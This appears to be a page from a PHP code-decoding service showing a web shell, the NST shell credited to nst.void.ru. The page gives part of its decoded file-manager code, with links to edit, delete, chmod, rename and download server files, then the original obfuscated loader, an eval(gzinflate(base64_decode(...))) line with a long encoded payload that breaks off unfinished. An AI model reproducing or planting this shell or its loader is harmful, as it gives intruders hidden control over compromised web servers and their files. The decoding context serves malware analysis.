} elseif (($perms & 0x4000) == 0x4000) {
   $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
   $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
   $info = 'p';
} else {
   $info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
           (($perms & 0x0800) ? 's' : 'x' ) :
           (($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
           (($perms & 0x0400) ? 's' : 'x' ) :
           (($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
           (($perms & 0x0200) ? 't' : 'x' ) :
           (($perms & 0x0200) ? 'T' : '-'));
return $info;
}


for($i=0; $i<count($dirs); $i++){

$perms = @fileperms($d."/".$dirs[$i]);
$owner = @fileowner($d."/".$dirs[$i]);
if($os=="unix"){
$fileownera=posix_getpwuid($owner);
$owner=$fileownera['name'];
}
$group = @filegroup($d."/".$dirs[$i]);
if($os=="unix"){
$groupinfo = posix_getgrgid($group);
$group=$groupinfo['name'];
}
$info=perm($perms);
if($i%2){$color="#D7FFA8";}else{$color="#D1D1D1";}
$linkd="<a href='$php_self?d=$d/$dirs[$i]'>$dirs[$i]</a>";
$linkd=str_replace("//","/",$linkd);
echo "<tr><td bgcolor=$color><font face=wingdings size=2>0</font> $linkd</td><td bgcolor=$color><center><font color=blue>DIR</font></td><td bgcolor=$color>&nbsp;</td><td bgcolor=$color><center>$owner/$group</td><td bgcolor=$color>$info</td></tr>";
}

for($i=0; $i<count($files); $i++){

$size=@filesize($d."/".$files[$i]);
$perms = @fileperms($d."/".$files[$i]);
$owner = @fileowner($d."/".$files[$i]);
if($os=="unix"){
$fileownera=posix_getpwuid($owner);
$owner=$fileownera['name'];
}
$group = @filegroup($d."/".$files[$i]);
if($os=="unix"){
$groupinfo = posix_getgrgid($group);
$group=$groupinfo['name'];
}
$info=perm($perms);
if($i%2){$color="#D1D1D1";}else{$color="#D7FFA8";}

if ($size < 1024){$siz=$size.' b';
}else{
if ($size < 1024*1024){$siz=number_format(($size/1024), 2, '.', '').' kb';}else{
if ($size < 1000000000){$siz=number_format($size/(1024*1024), 2, '.', '').' mb';}else{
if ($size < 1000000000000){$siz=number_format($size/(1024*1024*1024), 2, '.', '').' gb';}
}}}
echo "<tr><td bgcolor=$color><font face=wingdings size=3>2</font> <a href='$php_self?d=$d&e=$files[$i]'>$files[$i]</a></td><td bgcolor=$color><center><a href=\"javascript:ShowOrHide('$i','')\">[options]</a><div id='$i' style='display:none;z-index:1;' ><a href='$php_self?d=$d&ef=$files[$i]&edit=1' title='Edit $files[$i]'><b>Edit</b></a><br><a href='$php_self?d=$d&del_f=1&wich_f=$files[$i]' title='Delete $files[$i]'><b>Delete</b></a><br><a href='$php_self?d=$d&chmod=1&wich_f=$files[$i]' title='chmod $files[$i]'><b>CHMOD</b></a><br><a href='$php_self?d=$d&rename=1&wich_f=$files[$i]' title='Rename $files[$i]'><b>Rename</b></a><br><a href='$php_self?d=$d&download=$files[$i]' title='Download $files[$i]'><b>Download</b></a><br><a href='$php_self?d=$d&ccopy_to=$files[$i]' title='Copy $files[$i] to?'><b>Copy</b></a></div></td><td bgcolor=$color>$siz</td><td bgcolor=$color><center>$owner/$group</td><td bgcolor=$color>$info</td></tr>";
}

echo "</table></td></tr></table>";
echo $copyr;

?>
<!-- Network security team :: nst.void.ru --><?

Did this file decode correctly?

Original Code

<? eval(gzinflate(base64_decode('
7b37e9q48jj8e5+n/4Pq5hTYTQiGpLkV2oSQhDRN
Wsi96cMCNuDG2Cw2uXRP37/9nRlJtmwMoWm6e873
c7rPtlgajUbSaC7SSHpbevP2+bN3nul5lus0PL85
9NOZDUryG77VNxu21bf8dC5I7De7Vrvx58j1Ta8x
HDkIxLPN4dAdNobmwB36ltNNVxqbBwfsFfv/Ko3D
o+NquYJAL/FPu9Olf+GTjTyTDZqed+sODcb84chk
i6zTtCEZ8ufaQ7Ppm40AokgggGhOSdJuXPs6n19d
1TYY/FlcZIbZaY5sP8TccYfM8fwby7ydZ/fuiLWb
Dmv3mk7XZJafff4MaTk5rJ6z8tGHD5uH23VMMEyv
PbQGPnQOS0PxDGu7/X7TMTDTvGv2B7a5zuq9kW+4
txLEk58LPea4t0Bqp+n5DVHSQ3qfP6v33FvmDkyH
YXd5oqhj+jAGPlsA4v7NutCX7KBaP64cyi+/PXj+
zAZ0bOi6vigVfIusdNO2sV+HXkaFgNTnz3Ysx8Bf
0BCnY3Wzg96AWQ50OQfsYPYiW/DvBybrsAWn2TcV
0Inls2r57Czlm0bfcmaqPoCcVHpq5UmlBUGW0/6R
9gvwqXhm6YdpeH6AlonlZ6RhvLwBnDdj/QA6sfws
9SeV/23Gyn9LLjlDtWpJlAwP10hQSaWm1hYvlW01
vV6jZ3m+O7x/sM4I9DQsU2mYiKXnk1AEYfsgIRJ0
YvHpFCQUvx1afrNlm8ywht5ix7JNL4mMgTnss4U8
W7C9hwvHiUgu7I0s0AKTKpSE87K5pVwuN7X8pIZP
Kd/9gfrzD5V/oP6E8tmO6bd7/aZlD9sP08EHUCny
IKbprBDBdFRnp6CcQKm+lSrz3mv7Nqg9qedueP7z
Z+/NoWPa8lvCt0HSLA6GbnsxAMQkQGO73SxOdhUQ
6l5Usp4/K6OKZR/A6mmC+nc7zO8BUzXv44X6rm9w
6J7rBUo6yKbE58+2YY4NrRajlsZALM8bmVlQ63Gw
fCYO+tsCmDq25ZkEOrCBHJI40EogFOi9tQwgduQP
RlLxDzzWHN3dRguAcTMMSgVwo7vnz6qObw47TcgQ
6VaHy0Vo48eT8b5tD0aW03GfP6ttfpCjOzRNttB/
/mxve5t5A8AlMgwY6t7zZwfQSOzQTR/bOvKDqmyv
CUkwws+ffXDBagTbB62qsT7tgP3TAlI91j6pHQBj
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
k4TcFhiowXKtVzKXIn/ESssLOSf6zWuTMzceWEgg
Q6x783o533OawpJy8Vvb+B7bnEyqI5IFybh9mBLZ
fCXD7Db6TeJ4205ri3zI09nf3mZSV54Y9CtPjDql
v7kKx33R0uapF+bnCIvpFSTDiiFQdDRPCTYMo2Mk
1UiQEcUDkwQ6B34rEPMsN88kv4flFpa55om4RCJs
URJJCzxBqKAJHZ7WruZAegUA+hceLUixo3y+5WVP
xqEwMkweIxH+HNCCM2Ecn5y8U5Gl5oV1oGCTHRAE
FYZ585o2v0DByHOjQSPoMO3k4/YmWHN/oHr9g9Ur
x0zBJ9Rt0G9avPi41Ahyx2VHuM5OWyvN4bo8dnY1
B7INJ1FQGrpKlcb/PeaaasGEzXmknfL9pTD8cMYy
PicT5rOctFyh/W/S/idPWjlrY/NWg4xsmLLBo0Ni
YzhPwyRHcZ7GKJzgsr6lB3tpCSjKjEdBq9m4lB2J
Tp7XUILEQDLKKpSgpN+wuBkS9vlS0Ed/zGtJJe6o
REotkRcl4lIO0YccE6RFOCZIzQiBF9YzXvQuseid
KAqFceo1+MwqatXDeqV2zKqHx0dSZKr1sdPNg5NK
namIxoSCgvBn3ZfJglSp5L9WlAbSj7dDSZCSUPWN
Q/eUu6tWYNbj7RKmGp2lLuCLs6t/OjHvM1XfOzpj
O9XKwXadO6CpLNL2k0P23+zujW184I0nkU7GWxnI
PG/ZFFwuQuhatFUdZ8Aw0k1uQkvcyX7Wn07Mx2Kh
k6UWVnwtBw/tIFjodlAak0IleoyFCZ2XkY5KnkS9
OOsBKiNC/kT3RcA/4MIQlP5lzH/BEBX0YmIOljzh
EneyFAcrGv6Jh4VpjUa2KBK/KENPZNz2JAdDDjA5
GNcoUcLIGlFW7hVL54Kg+LQa02Ckua68wLrIR82L
/xua/X96/X96/X96Hb2aa9TSUUWvKOxYfHNkT0nd
SparztHt5SS48aVfseuMAlkF5drLDReIf1RxP8UG
eYT28LIVfvAetB1RLq5YCW6RGb+XJSLPeXtL6i0v
8joWbSPW0Vyey5oim3fKJq3ReorN2VrlcPNDRWzP
RlrOYEqGS8YKNT+/9D9hozaRGXiCAUyB+UkEYT2t
krJp8mMzMv8EMzIS2xDuHykzjDcj2Jof9QfKxrxy
bUqwMPgifh0JcAHvdTE3xkIXepYnjoUwOmJgeZAv
UdCuXLnpOK7PFzWwsmxknsXGhJ/hVK8T9k2gWtSA
1w5TK/h5EIffztdC48gcvhjHiRSWORqQrxaNNwX6
pemWN/UGTGBwd3g/z9DyWmeLPlQClbXXF28txwD8
i0hHRolwe/7suIeXj1GoN00vhSH4RONc+P0pp9Fc
B+/b6uC9Z+q9MPPaLWV3sEk4coN5pr1kjnd8apm3
dJ3uzRxdt/aSnZmtdSbub3E8P3vjWkZ2OMKsberb
odtfj9zQxP9t4JzFw6gsnZDJrwXLahnE84GHTPM4
6jDwNyFyGqFJ/YWw0QhsIgvcP8xBNzCtGdl+9oIt
sL11a93TJAhSbrRYmnY0M4zP7TTfRySaFjDsGuYE
/IvTgfcmyKOxfUj0BMu1Cq6TcgHFTYTH7j7O4WZY
1MWhcFuobmzEEoNWePUbV8MrJ0AItljs6hoHLDsC
mRf5ceQiOasRphBbUhdEtmJl87nhzwGdUR9b4fFm
lOgyKrFxNt5ckGBum0OS5gZ3DYOUv7qWkwZjkv2h
zTPy+hqYQxgycqdqRPHMPJd/8vwNZcdNgJEniFtu
4AOKtM9z1xj2IMz5G5qLIVarLzzB1DxLAQ0ih298
/WmjNT9uKaZpx837I7QS0eLlJcHQzfBxivc9oBNO
Gd5R0LZdj3IyP6w3ck+oN9T7suCbAqDhr8W44YaA
kRCvlkiK373VEssrMlY34JLkAGAZ9t8uFXU1iFao
Bx6cpv7NJ7kM7EHFbbRk7FQ8BnOCvhLKyFAxZdmh
K6LvQPxbeDWtWNng6KHBWUXRB5dvYfgw2GMuNAFK
e8GlbGoMvipUaGKL5SVAPWlGYRx+fEZNjtanqj9/
IV8WZ3juS8Bn3/+nLmZUF5P0QyBisJNJwMAPvhIV
9txEqd1sRaT2BK6IqxooNVVvDIWEelotkERdXAtI
yh7Ds0IHBFz7n6IDOAEzKwDoggQFIMo9JPy/xyac
HIFgFP4bdUMrph5EoBquFQSrA/Ax8bgvKgCCYE3A
+GLimv2sp670UvTg9TTTO2K18QuNZjplArTzWdPu
NCceL5kUGi4aAu4DLi6tM0QCUlssOoDnsEMCVXX/
UcQK11849jl0P9woFPiqEZiUwJxKXiGgMngFlgDH
W85ikGoMDB8jDqpPhQuqv3FSUwCBcyQgGA5TACNn
WDkfTwNXj6USp08Djp7UFXNhWgHl7Om0XsBpNAOY
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
